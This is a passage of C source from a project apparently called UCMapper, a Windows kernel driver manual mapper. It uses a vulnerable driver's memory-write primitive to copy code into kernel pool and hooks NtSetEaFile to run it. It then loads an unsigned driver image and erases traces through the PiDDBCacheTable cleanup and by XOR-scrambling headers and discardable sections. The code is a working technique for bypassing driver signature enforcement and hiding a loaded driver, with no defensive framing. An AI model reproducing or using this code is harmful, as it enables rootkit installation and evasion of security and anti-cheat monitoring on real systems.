633 | PiDDBCacheTable = KiRelativeVirtualAddress(Driver, PiDDBCacheTable, 3, 7);
634 | HashBucketList = KiRelativeVirtualAddress(Driver, HashBucketList, 3, 7);
635 | HashBucketLock = KiRelativeVirtualAddress(Driver, HashBucketLock, 3, 7);
636 | }
637 |
638 | if (PiDDBLock == 0 || PiDDBCacheTable == 0 || HashBucketList == 0 || HashBucketLock == 0) {
639 | Status = STATUS_INVALID_SIGNATURE;
640 | DEBUG_PRINT_NTSTATUS(Status);
641 | return Status;
642 | }
643 |
644 | // Create Context.
645 | RtlInitUnicodeString(&WorkerContext.DriverName, DriverName);
646 | WorkerContext.PiDDBLock = PiDDBLock;
647 | WorkerContext.PiDDBCacheTable = PiDDBCacheTable;
648 | WorkerContext.HashBucketList = HashBucketList;
649 | WorkerContext.HashBucketLock = HashBucketLock;
650 |
651 | Status = MiResolveImportTable(&WorkerContext.Table);
652 | if NT_ERROR (Status) {
653 | DEBUG_PRINT_NTSTATUS(Status);
654 | return Status;
655 | }
656 |
657 | WorkerSize = GetProcedureSize((PVOID)RemoveDriverRuntimeListWorker);
658 | Status = KiExAllocatePool2(Driver, WorkerSize, &WorkerRoutine);
659 |
660 | if NT_SUCCESS (Status) {
661 | Status = Driver->WriteMemory(
662 | Driver->DeviceHandle,
663 | WorkerRoutine,
664 | (PVOID)RemoveDriverRuntimeListWorker,
665 | WorkerSize);
666 |
667 | if NT_SUCCESS (Status) {
668 | Status = HookSystemRoutine(Driver, WorkerRoutine, Storage);
669 | if NT_SUCCESS (Status) {
670 | typedef NTSTATUS (*WorkerRoutine_t)(IN PVOID Context);
671 | WorkerRoutine_t Worker = (WorkerRoutine_t)NtSetEaFile;
672 |
673 | Status = Worker(&WorkerContext);
674 | DEBUG_PRINT_NTSTATUS(Status);
675 |
676 | UnhookSystemRoutine(Driver, Storage);
677 | }
678 | }
679 |
680 | KiExFreePool(Driver, WorkerRoutine);
681 | }
682 |
683 | return Status;
684 | }
685 | #endif
686 |
--------------------------------------------------------------------------------
/UCMapper/mapper.c:
--------------------------------------------------------------------------------
1 | #include "main.h"
2 |
3 | #pragma warning( \
4 | disable : 4152) // non standard extension, function/data ptr conversion in expression
5 |
6 | #pragma region code_running_on_system_address_space
7 |
8 | FORCEINLINE VOID
9 | InitSecurityCookie(_In_ PMAPPER_EXECUTOR_CONTEXT StartContext, _In_ PVOID ImageBase)
10 | {
11 | PIMAGE_LOAD_CONFIG_DIRECTORY ConfigDirectory;
12 | PVOID Buffer;
13 | ULONG LoadConfigSize;
14 | PULONGLONG SecurityCookie;
15 | ULONGLONG NewCookie;
16 |
17 | Buffer = StartContext->ImportTable.RtlImageDirectoryEntryToData(
18 | ImageBase,
19 | TRUE,
20 | IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG,
21 | &LoadConfigSize);
22 | ConfigDirectory = (PIMAGE_LOAD_CONFIG_DIRECTORY)Buffer;
23 |
24 | if (ConfigDirectory && ConfigDirectory->SecurityCookie) {
25 | SecurityCookie = (PULONGLONG)ConfigDirectory->SecurityCookie;
26 | NewCookie = (ULONGLONG)SecurityCookie;
27 | NewCookie ^= (ULONGLONG)ImageBase;
28 |
29 | if (*SecurityCookie == NewCookie)
30 | NewCookie += 1;
31 |
32 | /* If the result is 0 or the same as we got, just add one to the default value */
33 | if ((NewCookie == 0) || (NewCookie == *SecurityCookie))
34 | NewCookie = DEFAULT_SECURITY_COOKIE + 1;
35 |
36 | NewCookie &= 0x0000FFFFffffFFFFi64;
37 | *SecurityCookie = NewCookie;
38 | }
39 | }
40 |
41 | FORCEINLINE PIMAGE_BASE_RELOCATION LdrProcessRelocationBlockLongLong(
42 | _In_ ULONG_PTR VA,
43 | _In_ ULONG SizeOfBlock,
44 | _In_ PUSHORT NextOffset,
45 | _In_ LONGLONG Diff)
46 | {
47 | PUCHAR FixupVA;
48 | USHORT Offset;
49 | LONG Temp;
50 | ULONGLONG Value64;
51 |
52 | while (SizeOfBlock--) {
53 | Offset = *NextOffset & (USHORT)0xfff;
54 | FixupVA = (PUCHAR)(VA + Offset);
55 |
56 | //
57 | // Apply the fixups.
58 | //
59 |
60 | switch ((*NextOffset) >> 12) {
61 | case IMAGE_REL_BASED_HIGHLOW:
62 | //
63 | // HighLow - (32-bits) relocate the high and low half
64 | // of an address.
65 | //
66 | *(LONG UNALIGNED*)FixupVA += (ULONG)Diff;
67 | break;
68 |
69 | case IMAGE_REL_BASED_HIGH:
70 | //
71 | // High - (16-bits) relocate the high half of an address.
72 | //
73 | Temp = *(PUSHORT)FixupVA << 16;
74 | Temp += (ULONG)Diff;
75 | *(PUSHORT)FixupVA = (USHORT)(Temp >> 16);
76 | break;
77 |
78 | case IMAGE_REL_BASED_HIGHADJ:
79 | //
80 | // Adjust high - (16-bits) relocate the high half of an
81 | // address and adjust for sign extension of low half.
82 | //
83 |
84 | //
85 | // If the address has already been relocated then don't
86 | // process it again now or information will be lost.
87 | //
88 | if (Offset & LDRP_RELOCATION_FINAL) {
89 | ++NextOffset;
90 | --SizeOfBlock;
91 | break;
92 | }
93 |
94 | Temp = *(PUSHORT)FixupVA << 16;
95 | ++NextOffset;
96 | --SizeOfBlock;
97 | Temp += (LONG)(*(PSHORT)NextOffset);
98 | Temp += (ULONG)Diff;
99 | Temp += 0x8000;
100 | *(PUSHORT)FixupVA = (USHORT)(Temp >> 16);
101 |
102 | break;
103 |
104 | case IMAGE_REL_BASED_LOW:
105 | //
106 | // Low - (16-bit) relocate the low half of an address.
107 | //
108 | Temp = *(PSHORT)FixupVA;
109 | Temp += (ULONG)Diff;
110 | *(PUSHORT)FixupVA = (USHORT)Temp;
111 | break;
112 |
113 | case IMAGE_REL_BASED_IA64_IMM64:
114 |
115 | //
116 | // Align it to bundle address before fixing up the
117 | // 64-bit immediate value of the movl instruction.
118 | //
119 |
120 | FixupVA = (PUCHAR)((ULONG_PTR)FixupVA & ~(15));
121 | Value64 = (ULONGLONG)0;
122 |
123 | //
124 | // Extract the lower 32 bits of IMM64 from bundle
125 | //
126 |
127 | break;
128 |
129 | case IMAGE_REL_BASED_DIR64:
130 |
131 | *(ULONGLONG UNALIGNED*)FixupVA += Diff;
132 |
133 | break;
134 |
135 | case IMAGE_REL_BASED_MIPS_JMPADDR:
136 | //
137 | // JumpAddress - (32-bits) relocate a MIPS jump address.
138 | //
139 | Temp = (*(PULONG)FixupVA & 0x3ffffff) << 2;
140 | Temp += (ULONG)Diff;
141 | *(PULONG)FixupVA = (*(PULONG)FixupVA & ~0x3ffffff) | ((Temp >> 2) & 0x3ffffff);
142 |
143 | break;
144 |
145 | case IMAGE_REL_BASED_ABSOLUTE:
146 | //
147 | // Absolute - no fixup required.
148 | //
149 | break;
150 |
151 | case IMAGE_REL_BASED_SECTION:
152 | //
153 | // Section Relative reloc. Ignore for now.
154 | //
155 | break;
156 |
157 | case IMAGE_REL_BASED_REL32:
158 | //
159 | // Relative intrasection. Ignore for now.
160 | //
161 | break;
162 |
163 | default:
164 | //
165 | // Illegal - illegal relocation type.
166 | //
167 |
168 | return (PIMAGE_BASE_RELOCATION)NULL;
169 | }
170 | ++NextOffset;
171 | }
172 | return (PIMAGE_BASE_RELOCATION)NextOffset;
173 | }
174 |
175 | FORCEINLINE PVOID
176 | LdrGetSystemModuleBaseA(_In_ PMAPPER_EXECUTOR_CONTEXT StartContext, _In_ LPCSTR ModuleName)
177 | {
178 | ANSI_STRING AnsiString;
179 | UNICODE_STRING UnicodeString;
180 | NTSTATUS Status;
181 | PKLDR_DATA_TABLE_ENTRY Destination;
182 | PKERNEL_IMPORT_TABLE ImportTable;
183 | PKLDR_DATA_TABLE_ENTRY Entry;
184 | PLIST_ENTRY Link;
185 |
186 | ImportTable = &StartContext->ImportTable;
187 | Destination = NULL;
188 |
189 | ImportTable->RtlInitAnsiString(&AnsiString, ModuleName);
190 | Status = ImportTable->RtlAnsiStringToUnicodeString(&UnicodeString, &AnsiString, TRUE);
191 |
192 | if NT_SUCCESS (Status) {
193 | for (Link = ImportTable->PsLoadedModuleList; Link != ImportTable->PsLoadedModuleList->Blink;
194 | Link = Link->Flink) {
195 | Entry = CONTAINING_RECORD(Link, KLDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
196 |
197 | if (ImportTable->RtlEqualUnicodeString(&Entry->BaseDllName, &UnicodeString, TRUE)
198 | || ImportTable->RtlEqualUnicodeString(&Entry->FullDllName, &UnicodeString, TRUE)) {
199 | Destination = Entry;
200 | break;
201 | }
202 | }
203 |
204 | ImportTable->RtlFreeUnicodeString(&UnicodeString);
205 | }
206 |
207 | return Destination;
208 | }
209 |
210 | FORCEINLINE PVOID
211 | LdrGetSystemRoutineAddressA(_In_ PMAPPER_EXECUTOR_CONTEXT StartContext, _In_ LPCSTR ModuleName)
212 | {
213 | PVOID Destination;
214 | UNICODE_STRING unicodeString;
215 | PKERNEL_IMPORT_TABLE ImportTable;
216 | NTSTATUS Status;
217 | ANSI_STRING AnsiString;
218 |
219 | ImportTable = &StartContext->ImportTable;
220 | Destination = 0;
221 |
222 | ImportTable->RtlInitAnsiString(&AnsiString, ModuleName);
223 | Status = ImportTable->RtlAnsiStringToUnicodeString(&unicodeString, &AnsiString, TRUE);
224 |
225 | if NT_SUCCESS (Status) {
226 | Destination = ImportTable->MmGetSystemRoutineAddress(&unicodeString);
227 | ImportTable->RtlFreeUnicodeString(&unicodeString);
228 | }
229 | return Destination;
230 | }
231 |
232 | FORCEINLINE NTSTATUS
233 | ResolveImageReferences(_In_ PMAPPER_EXECUTOR_CONTEXT StartContext, _In_ PCHAR ImageBase)
234 | {
235 | ULONG ImportDescriptorSize;
236 | PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor;
237 | PCHAR ModuleName;
238 | ULONG Count;
239 | PVOID ModuleBase;
240 | PIMAGE_THUNK_DATA NameThunk;
241 | PIMAGE_THUNK_DATA AddrThunk;
242 | PIMAGE_IMPORT_BY_NAME ImportNameTable;
243 | PCHAR ProcedureName;
244 | PVOID ProcedureAddress;
245 | PKERNEL_IMPORT_TABLE ImportTable;
246 |
247 | ImportTable = &StartContext->ImportTable;
248 | if (ImportTable->RtlImageNtHeader(ImageBase) == NULL) {
249 | return STATUS_INVALID_IMAGE_FORMAT;
250 | }
251 |
252 | ImportDescriptor = ImportTable->RtlImageDirectoryEntryToData(
253 | ImageBase,
254 | TRUE,
255 | IMAGE_DIRECTORY_ENTRY_IMPORT,
256 | &ImportDescriptorSize);
257 |
258 | // ============================
259 | // No Import to be resolved.
260 | // ============================
261 | if (!ImportDescriptor) {
262 | return STATUS_SUCCESS;
263 | }
264 |
265 | // Count the number of imports so we can allocate enough room to
266 | // store them all chained off this module's LDR_DATA_TABLE_ENTRY.
267 | //
268 |
269 | Count = 0;
270 | for (PIMAGE_IMPORT_DESCRIPTOR Imp = ImportDescriptor; Imp->Name && Imp->OriginalFirstThunk;
271 | Imp += 1) {
272 | Count += 1;
273 | }
274 |
275 | while (ImportDescriptor->Name && ImportDescriptor->OriginalFirstThunk) {
276 | ModuleName = ImageBase + ImportDescriptor->Name;
277 | ModuleBase = LdrGetSystemModuleBaseA(StartContext, ModuleName);
278 |
279 | if (ModuleBase == NULL) {
280 | return STATUS_NOT_SUPPORTED;
281 | }
282 |
283 | //
284 | // Walk through the IAT and snap all the thunks.
285 | //
286 |
287 | if (ImportDescriptor->OriginalFirstThunk) {
288 | NameThunk = (PIMAGE_THUNK_DATA)(ImageBase + ImportDescriptor->OriginalFirstThunk);
289 | AddrThunk = (PIMAGE_THUNK_DATA)(ImageBase + ImportDescriptor->FirstThunk);
290 |
291 | while (NameThunk->u1.AddressOfData) {
292 | if (IMAGE_SNAP_BY_ORDINAL(NameThunk->u1.Ordinal)) {
293 | ProcedureName = (PCHAR)IMAGE_ORDINAL(NameThunk->u1.Ordinal);
294 | } else {
295 | ImportNameTable
296 | = (PIMAGE_IMPORT_BY_NAME)(ImageBase + NameThunk->u1.AddressOfData);
297 |
298 | if (!ImportNameTable)
299 | return STATUS_PROCEDURE_NOT_FOUND;
300 |
301 | ProcedureName = ImportNameTable->Name;
302 | }
303 |
304 | //
305 | // First, try from LdrGetSystemRoutineAddressA for ntoskrnl and hal
306 | // if result null then try from RtlFindExportedRoutineByName by ModuleBase.
307 | //
308 | ProcedureAddress = LdrGetSystemRoutineAddressA(StartContext, ProcedureName);
309 | if (ProcedureAddress == NULL)
310 | ProcedureAddress
311 | = ImportTable->RtlFindExportedRoutineByName(ModuleBase, ProcedureName);
312 |
313 | if (ProcedureAddress == NULL) {
314 | return STATUS_PROCEDURE_NOT_FOUND;
315 | }
316 |
317 | AddrThunk->u1.Function = (ULONGLONG)ProcedureAddress;
318 | NameThunk += 1;
319 | AddrThunk += 1;
320 | }
321 | }
322 |
323 | ImportDescriptor += 1;
324 | }
325 |
326 | return STATUS_SUCCESS;
327 | }
328 |
329 | FORCEINLINE NTSTATUS RelocateImage(_In_ PMAPPER_EXECUTOR_CONTEXT StartContext, _In_ PVOID ImageBase)
330 | {
331 | LONGLONG Diff;
332 | ULONG TotalCountBytes = 0;
333 | ULONG_PTR VA;
334 | ULONGLONG OldBase;
335 | ULONG SizeOfBlock;
336 | PUSHORT NextOffset = NULL;
337 | PIMAGE_NT_HEADERS NtHeaders;
338 | PIMAGE_BASE_RELOCATION NextBlock;
339 | NTSTATUS Status;
340 |
341 | NtHeaders = StartContext->ImportTable.RtlImageNtHeader(ImageBase);
342 | if (NtHeaders == NULL) {
343 | Status = STATUS_INVALID_IMAGE_FORMAT;
344 | goto Exit;
345 | }
346 |
347 | switch (NtHeaders->OptionalHeader.Magic) {
348 | case IMAGE_NT_OPTIONAL_HDR32_MAGIC:
349 |
350 | OldBase = ((PIMAGE_NT_HEADERS32)NtHeaders)->OptionalHeader.ImageBase;
351 | break;
352 |
353 | case IMAGE_NT_OPTIONAL_HDR64_MAGIC:
354 |
355 | OldBase = ((PIMAGE_NT_HEADERS64)NtHeaders)->OptionalHeader.ImageBase;
356 | break;
357 |
358 | default:
359 |
360 | Status = STATUS_INVALID_IMAGE_FORMAT;
361 | goto Exit;
362 | }
363 |
364 | //
365 | // Locate the relocation section.
366 | //
367 |
368 | NextBlock = StartContext->ImportTable.RtlImageDirectoryEntryToData(
369 | ImageBase,
370 | TRUE,
371 | IMAGE_DIRECTORY_ENTRY_BASERELOC,
372 | &TotalCountBytes);
373 |
374 | //
375 | // It is possible for a file to have no relocations, but the relocations
376 | // must not have been stripped.
377 | //
378 |
379 | if (!NextBlock || !TotalCountBytes) {
380 | Status = (NtHeaders->FileHeader.Characteristics & IMAGE_FILE_RELOCS_STRIPPED) ?
381 | STATUS_CONFLICTING_ADDRESSES :
382 | STATUS_SUCCESS;
383 | goto Exit;
384 | }
385 |
386 | //
387 | // If the image has a relocation table, then apply the specified fixup
388 | // information to the image.
389 | //
390 | Diff = (ULONG_PTR)ImageBase - OldBase;
391 | while (TotalCountBytes) {
392 | SizeOfBlock = NextBlock->SizeOfBlock;
393 |
394 | // Prevent crash
395 | if (SizeOfBlock == 0) {
396 | Status = STATUS_INVALID_IMAGE_FORMAT;
397 | goto Exit;
398 | }
399 |
400 | TotalCountBytes -= SizeOfBlock;
401 | SizeOfBlock -= sizeof(IMAGE_BASE_RELOCATION);
402 | SizeOfBlock /= sizeof(USHORT);
403 | NextOffset = (PUSHORT)((PCHAR)NextBlock + sizeof(IMAGE_BASE_RELOCATION));
404 |
405 | VA = (ULONG_PTR)ImageBase + NextBlock->VirtualAddress;
406 | NextBlock = LdrProcessRelocationBlockLongLong(VA, SizeOfBlock, NextOffset, Diff);
407 |
408 | if (!NextBlock) {
409 | Status = STATUS_INVALID_IMAGE_FORMAT;
410 | goto Exit;
411 | }
412 | }
413 |
414 | Status = STATUS_SUCCESS;
415 | Exit:
416 | return Status;
417 | }
418 |
419 | VOID MiUnloadSystemImage(_In_ PDRIVER_OBJECT DriverObject)
420 | {
421 | PMAPPER_EXECUTOR_CONTEXT SectionContext;
422 | PVOID DriverStart;
423 | ULONG DriverSize;
424 | ExFreePoolWithTag_t ExFreePool;
425 | PsTerminateSystemThread_t PsTerminate;
426 | PVOID DriverUnload;
427 | LARGE_INTEGER timeout;
428 |
429 | DriverStart = DriverObject->DriverStart;
430 | DriverSize = DriverObject->DriverSize;
431 | SectionContext = DriverObject->DriverSection;
432 | DriverUnload = DriverObject->DriverUnload;
433 | ExFreePool = SectionContext->ImportTable.ExFreePoolWithTag;
434 | PsTerminate = SectionContext->ImportTable.PsTerminateSystemThread;
435 | timeout.QuadPart = RELATIVE_TIME(SECONDS(2));
436 |
437 | // Delay execution for 2 seconds so driver can exit perfectly.
438 | SectionContext->ImportTable.KeDelayExecutionThread(0, FALSE, &timeout);
439 |
440 | if (DriverStart && DriverSize) {
441 | SectionContext->ImportTable.MmFreePagesFromMdl(SectionContext->MemoryDescriptor);
442 | ExFreePool(SectionContext->MemoryDescriptor, 0);
443 | }
444 |
445 | ExFreePool(DriverObject, 0);
446 | ExFreePool(SectionContext, 0);
447 |
448 | // Release this executor allocation.
449 | ExFreePool(DriverUnload, 0);
450 |
451 | // since the allocation already released, should never be hitted.
452 | PsTerminate(STATUS_SUCCESS);
453 | return;
454 | }
455 |
456 | VOID MiLoadSystemImageWorker(_In_ PMAPPER_EXECUTOR_CONTEXT StartContext)
457 | {
458 | PVOID ImageBase;
459 | PKERNEL_IMPORT_TABLE ImportTable;
460 | NTSTATUS status;
461 | PIMAGE_NT_HEADERS NtHeader;
462 | PDRIVER_INITIALIZE DriverEntry;
463 | PDRIVER_OBJECT DriverObject;
464 | PIMAGE_SECTION_HEADER ImageSection;
465 | USHORT NumberOfSection, i;
466 | PCHAR SectionStart;
467 | ULONG SectionSize;
468 | ULONG Characteristics;
469 | ULONG SectionProtection;
470 | ULONG HeaderSize;
471 | PVOID MdlHack;
472 |
473 | ImageBase = StartContext->MapSection;
474 | ImportTable = &StartContext->ImportTable;
475 | NtHeader = ImportTable->RtlImageNtHeader(ImageBase);
476 |
477 | //
478 | // Relocate Image
479 | //
480 |
481 | status = RelocateImage(StartContext, ImageBase);
482 | if NT_ERROR (status) {
483 | ImportTable->MmFreePagesFromMdl(StartContext->MemoryDescriptor);
484 | ImportTable->ExFreePoolWithTag(StartContext->MemoryDescriptor, 0);
485 | goto ExitPoint;
486 | }
487 |
488 | //
489 | // Resolve Image Reference.
490 | //
491 |
492 | status = ResolveImageReferences(StartContext, ImageBase);
493 | if NT_ERROR (status) {
494 | ImportTable->MmFreePagesFromMdl(StartContext->MemoryDescriptor);
495 | ImportTable->ExFreePoolWithTag(StartContext->MemoryDescriptor, 0);
496 | goto ExitPoint;
497 | }
498 |
499 | //
500 | // Init Security Cookie.
501 | //
502 |
503 | InitSecurityCookie(StartContext, ImageBase);
504 |
505 | //
506 | // Create Driver Object as params.
507 | //
508 |
509 | DriverObject = ImportTable->ExAllocatePool2(
510 | 0x0000000000000040UI64,
511 | sizeof(DRIVER_OBJECT),
512 | (ULONG)((ULONGLONG)ImageBase));
513 |
514 | DriverObject->DriverStart = ImageBase;
515 | DriverObject->DriverSize = NtHeader->OptionalHeader.SizeOfImage;
516 | DriverObject->DriverSection = StartContext;
517 | DriverObject->DriverUnload = StartContext->Unloader;
518 | DriverObject->DriverInit
519 | = RtlOffsetToPointer(ImageBase, NtHeader->OptionalHeader.AddressOfEntryPoint);
520 | DriverEntry = (PDRIVER_INITIALIZE)DriverObject->DriverInit;
521 |
522 | //
523 | // Invoke DriverEntry.
524 | //
525 |
526 | status = DriverEntry(DriverObject, NULL);
527 |
528 | //
529 | // Post Mapping process.
530 | //
531 |
532 | if NT_SUCCESS (status) {
533 | ImageSection = IMAGE_FIRST_SECTION(NtHeader);
534 | HeaderSize = ImageSection->VirtualAddress;
535 | NumberOfSection = NtHeader->FileHeader.NumberOfSections;
536 |
537 | for (i = 0; i < NumberOfSection; i += 1) {
538 | Characteristics = ImageSection[i].Characteristics;
539 | SectionStart = RtlOffsetToPointer(ImageBase, ImageSection[i].VirtualAddress);
540 | SectionSize = ImageSection[i].Misc.VirtualSize;
541 | SectionProtection = 0;
542 |
543 | if (Characteristics & IMAGE_SCN_MEM_DISCARDABLE) {
544 | for (PULONG j = (PULONG)SectionStart; j < (PULONG)(SectionStart + SectionSize);
545 | j++) {
546 | *j ^= (ULONG)((ULONGLONG)SectionStart);
547 | }
548 |
549 | SectionProtection = PAGE_READONLY;
550 | } else if (
551 | !(Characteristics & IMAGE_SCN_MEM_EXECUTE)
552 | && !(Characteristics & IMAGE_SCN_MEM_WRITE)) {
553 | SectionProtection = PAGE_READONLY;
554 | } else if (
555 | (Characteristics & IMAGE_SCN_MEM_EXECUTE)
556 | && !(Characteristics & IMAGE_SCN_MEM_WRITE)) {
557 | SectionProtection = PAGE_EXECUTE_READ;
558 | } else if ((Characteristics & IMAGE_SCN_MEM_WRITE)) {
559 | SectionProtection = PAGE_READWRITE;
560 | }
561 |
562 | if (SectionProtection != 0) {
563 | //ImportTable->MmSetPageProtection(SectionStart, SectionSize, SectionProtection);
564 |
565 | MdlHack = ImportTable->IoAllocateMdl(SectionStart, SectionSize, FALSE, FALSE, NULL);
566 | if (MdlHack != NULL) {
567 | ImportTable->MmProtectMdlSystemAddress(MdlHack, SectionProtection);
568 | ImportTable->IoFreeMdl(MdlHack);
569 | }
570 | }
571 | }
572 |
573 | for (PULONG k = ImageBase; k < (PULONG)((PCHAR)ImageBase + HeaderSize); k++) {
574 | *k ^= (ULONG)((ULONGLONG)k);
575 | }
576 |
577 | MdlHack = ImportTable->IoAllocateMdl(ImageBase, HeaderSize, FALSE, FALSE, NULL);
578 | if (MdlHack != NULL) {
579 | ImportTable->MmProtectMdlSystemAddress(MdlHack, PAGE_READONLY);
580 | ImportTable->IoFreeMdl(MdlHack);
581 | }
582 | //ImportTable->MmSetPageProtection(ImageBase, HeaderSize, PAGE_READONLY);
583 | }
584 |
585 | if NT_ERROR (status) {
586 | ImportTable->MmFreePagesFromMdl(StartContext->MemoryDescriptor);
587 | ImportTable->ExFreePoolWithTag(StartContext->MemoryDescriptor, 0);
588 | ImportTable->ExFreePoolWithTag(DriverObject, 0);
589 | }
590 |
591 | ExitPoint:
592 | ImportTable->PsTerminateSystemThread(status);
593 | return;
594 | }
595 |
596 | NTSTATUS MiLoadSystemImage(_In_ PMAPPER_EXECUTOR_CONTEXT StartContext)
597 | {
598 | HANDLE threadHandle;
599 | NTSTATUS status;
600 | SIZE_T ContextSize;
601 | PKERNEL_IMPORT_TABLE ImportTable;
602 | PKSTART_ROUTINE WorkerThread;
603 | PVOID threadObject;
604 | PMAPPER_EXECUTOR_CONTEXT WorkerContext;
605 | PVOID MdlHack;
606 | PHYSICAL_ADDRESS LowestAddress;
607 | PHYSICAL_ADDRESS HighestAddress;
608 | PVOID ImageBase;
609 | SIZE_T ImageSize;
610 | PVOID MapSection;
611 |
612 | status = STATUS_UNSUCCESSFUL;
613 | ContextSize = sizeof(MAPPER_EXECUTOR_CONTEXT);
614 |
615 | //
616 | // Try to verify based on the context a bit.
617 | //
618 |
619 | if (StartContext == NULL || ((PCHAR)StartContext + ContextSize) <= (PCHAR)StartContext
620 | || StartContext->ContextSize != ContextSize) {
621 | status = STATUS_INVALID_PARAMETER;
622 | return status;
623 | }
624 |
625 | ImportTable = &StartContext->ImportTable;
626 | WorkerThread = StartContext->WorkerThread;
627 | StartContext->DriverStatus = STATUS_FAILED_DRIVER_ENTRY;
628 |
629 | //
630 | // Allocate memory for context in system address.
631 | //
632 |
633 | WorkerContext = ImportTable->ExAllocatePool2(
634 | 0x0000000000000040UI64,
635 | ContextSize,
636 | (ULONG)((ULONGLONG)StartContext->ImageBase));
637 | if (WorkerContext == NULL) {
638 | status = STATUS_INSUFFICIENT_RESOURCES;
639 | return status;
640 | }
641 |
642 | //
643 | // Allocate Memory for mapping allocation from system ptes.
644 | //
645 |
646 | LowestAddress.QuadPart = 0;
647 | HighestAddress.QuadPart = MAXLONGLONG;
648 | ImageBase = StartContext->ImageBase;
649 | ImageSize = StartContext->ImageSize;
650 |
651 | MdlHack = ImportTable->MmAllocatePagesForMdlEx(
652 | LowestAddress,
653 | HighestAddress,
654 | LowestAddress,
655 | ImageSize,
656 | MmNonCached,
657 | 0x00000020);
658 | if (MdlHack == NULL) {
659 | ImportTable->ExFreePoolWithTag(WorkerContext, 0);
660 | status = STATUS_MEMORY_NOT_ALLOCATED;
661 | return status;
662 | }
663 |
664 | MapSection
665 | = ImportTable
666 | ->MmMapLockedPagesSpecifyCache(MdlHack, 0, MmCached, NULL, FALSE, HighPagePriority);
667 | if (MapSection == NULL) {
668 | ImportTable->MmFreePagesFromMdl(MdlHack);
669 | ImportTable->ExFreePoolWithTag(MdlHack, 0);
670 | ImportTable->ExFreePoolWithTag(WorkerContext, 0);
671 |
672 | status = STATUS_MEMORY_NOT_ALLOCATED;
673 | return status;
674 | }
675 |
676 | StartContext->MapSection = MapSection;
677 | StartContext->MemoryDescriptor = MdlHack;
678 | ImportTable->memcpy(MapSection, StartContext->ImageBase, ImageSize);
679 | ImportTable->memcpy(WorkerContext, StartContext, ContextSize);
680 |
681 | //
682 | // Create Worker Thread that run on system process context.
683 | //
684 |
685 | status = ImportTable->PsCreateSystemThread(
686 | &threadHandle,
687 | THREAD_ALL_ACCESS,
688 | NULL,
689 | NULL,
690 | NULL,
691 | WorkerThread,
692 | WorkerContext);
693 | if NT_SUCCESS (status) {
694 | status = ImportTable->ObReferenceObjectByHandle(
695 | threadHandle,
696 | THREAD_ALL_ACCESS,
697 | NULL,
698 | 0,
699 | &threadObject,
700 | NULL);
701 | if NT_SUCCESS (status) {
702 | status = ImportTable->KeWaitForSingleObject(threadObject, Executive, 0, FALSE, NULL);
703 | if NT_SUCCESS (status)
704 | StartContext->DriverStatus = ImportTable->PsGetThreadExitStatus(threadObject);
705 |
706 | ImportTable->ObfDereferenceObject(threadObject);
707 | }
708 |
709 | ImportTable->ZwClose(threadHandle);
710 | }
711 |
712 | if NT_ERROR (status)
713 | ImportTable->ExFreePoolWithTag(WorkerContext, 0);
714 |
715 | return status;
716 | }
717 |
718 | #pragma endregion code_running_on_system_address_space
719 |
720 | NTSTATUS MmLoadSystemImage(_In_ PDEVICE_DRIVER_OBJECT Driver, _In_ PVOID ImageBase)
721 | {
722 | typedef NTSTATUS (*PROTOTYPE_ROUTINE)(PVOID StartContex);
723 |
724 | SIZE_T procSize, procSize2, procSize3;
725 | ULONGLONG PoolExecutor;
726 | ULONGLONG PoolWorker;
727 | ULONGLONG PoolUnloader;
728 | NTSTATUS status;
729 | PROTOTYPE_ROUTINE MiLoadSystemImageRoutine;
730 | UCHAR Storage[12];
731 | MAPPER_EXECUTOR_CONTEXT Context;
732 |
733 | status = STATUS_MEMORY_NOT_ALLOCATED;
734 | procSize = GetProcedureSize(MiLoadSystemImage);
735 | procSize2 = GetProcedureSize(MiLoadSystemImageWorker);
736 | procSize3 = GetProcedureSize(MiUnloadSystemImage);
737 |
738 | KiExAllocatePool2(Driver, procSize, &PoolExecutor);
739 | KiExAllocatePool2(Driver, procSize2, &PoolWorker);
740 | KiExAllocatePool2(Driver, procSize3, &PoolUnloader);
741 |
742 | MiLoadSystemImageRoutine = (PROTOTYPE_ROUTINE)NtSetEaFile;
743 |
744 | if (PoolExecutor != 0 && PoolWorker != 0 && PoolUnloader != 0) {
745 | //
746 | // write to allocation.
747 | //
748 |
749 | status
750 | = Driver->WriteMemory(Driver->DeviceHandle, PoolExecutor, MiLoadSystemImage, procSize);
751 | if NT_ERROR (status) {
752 | DEBUG_PRINT_NTSTATUS(status);
753 | KiExFreePool(Driver, PoolExecutor);
754 | KiExFreePool(Driver, PoolUnloader);
755 | KiExFreePool(Driver, PoolWorker);
756 | return status;
757 | }
758 |
759 | status = Driver->WriteMemory(
760 | Driver->DeviceHandle,
761 | PoolWorker,
762 | MiLoadSystemImageWorker,
763 | procSize2);
764 |
765 | if NT_ERROR (status) {
766 | DEBUG_PRINT_NTSTATUS(status);
767 | KiExFreePool(Driver, PoolExecutor);
768 | KiExFreePool(Driver, PoolUnloader);
769 | KiExFreePool(Driver, PoolWorker);
770 | return status;
771 | }
772 |
773 | status = Driver->WriteMemory(
774 | Driver->DeviceHandle,
775 | PoolUnloader,
776 | MiUnloadSystemImage,
777 | procSize3);
778 |
779 | if NT_ERROR (status) {
780 | DEBUG_PRINT_NTSTATUS(status);
781 | KiExFreePool(Driver, PoolExecutor);
782 | KiExFreePool(Driver, PoolUnloader);
783 | KiExFreePool(Driver, PoolWorker);
784 | return status;
785 | }
786 |
787 | //
788 | // Create Context.
789 | //
790 |
791 | Context.ContextSize = sizeof(MAPPER_EXECUTOR_CONTEXT);
792 | Context.DriverStatus = STATUS_UNSUCCESSFUL;
793 | Context.WorkerThread = (PKSTART_ROUTINE)PoolWorker;
794 | Context.ImageBase = ImageBase;
795 | Context.ImageSize = RtlImageNtHeader(ImageBase)->OptionalHeader.SizeOfImage;
796 | Context.MemoryDescriptor = 0;
797 | Context.MapSection = 0;
798 | Context.Unloader = (PVOID)PoolUnloader;
799 |
800 | status = MiResolveImportTable(&Context.ImportTable);
801 | if NT_ERROR (status) {
802 | KiExFreePool(Driver, PoolExecutor);
803 | KiExFreePool(Driver, PoolUnloader);
804 | KiExFreePool(Driver, PoolWorker);
805 |
806 | status = STATUS_PROCEDURE_NOT_FOUND;
807 | DEBUG_PRINT_NTSTATUS(status);
808 | return status;
809 | }
810 |
811 | //
812 | // Invoke executor.
813 | //
814 |
815 | status = HookSystemRoutine(Driver, PoolExecutor, Storage);
816 | if NT_SUCCESS (status) {
817 | status = MiLoadSystemImageRoutine(&Context);
818 | UnhookSystemRoutine(Driver, Storage);
819 | }
